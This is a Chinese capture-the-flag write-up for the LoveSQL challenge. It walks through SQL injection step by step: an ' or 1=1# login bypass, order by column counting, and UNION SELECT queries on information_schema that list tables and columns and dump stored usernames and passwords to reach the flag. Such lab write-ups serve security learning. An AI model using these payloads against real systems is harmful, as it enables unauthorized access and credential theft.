本篇只做做题步骤
[极客大挑战 2019]LoveSQL1
知识点归纳
SQL注入、联合查询、getcat使用
总计时间45
1.使用万能密钥登录
构造语句思路
假设后端的数据的解释思路为
select xxx from xxx where username=''&password='';
select xxx from xxx where username='1' or 1=1#'&password='1234';
红色为需要填入的,蓝色为已经被注释掉了下面的也会这样子
成功登录,将password上传发现是不对的flag,那么flag有可能是该表格的下的某一个用户或者只整个数据库管理员的用户。那么现在从url上面下手。
然后发现Url有编码问题#只能使用%23
首先查看该数据库下有哪些用户
select xxx from xxx where username='admin' order by 10%23'&password='1';
admin' order by 10%23'&password='1';复制到Url那里
没有从543开始直到3的时候才有
然后使用联合查询
select xxx from xxx where username='1' union select 1,2,3 %23&password='12';
可以判断出2,3是注入
select xxx from xxx where username='1' union select 1,database(),user() %23&password='12';
查看数据可名和用户
获取表名字
select xxx from xxx where username='1' union select 1,database(),group_concat(distinct table_name) from information_schema.columns where (table_schema='geek') %23&password='12';
得出一共两个表
geekuser,l0ve1ysq1
获得两个表的字段(直接url)
1、check.php?username=1' union select 1,database(),group_concat(distinct column_name) from information_schema.columns where (table_name='geekuser')%23&password='12';2、check.php?username=1' union select 1,database(),group_concat(distinct column_name) from information_schema.columns where (table_name='l0ve1ysq1')%23&password='12';
获得信息有geekuser,l0ve1ysq1有三个字段
id,username,password
查看两个表格三个字段的信息flag可能是在username和password里面
check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password='12';
得到的信息不多
使用另外一个表查看语句同理
看到有个flag,应该就是这个答案了
16flagflag{3495c709-b15d-4d87-bf1e-71bc57b234f6}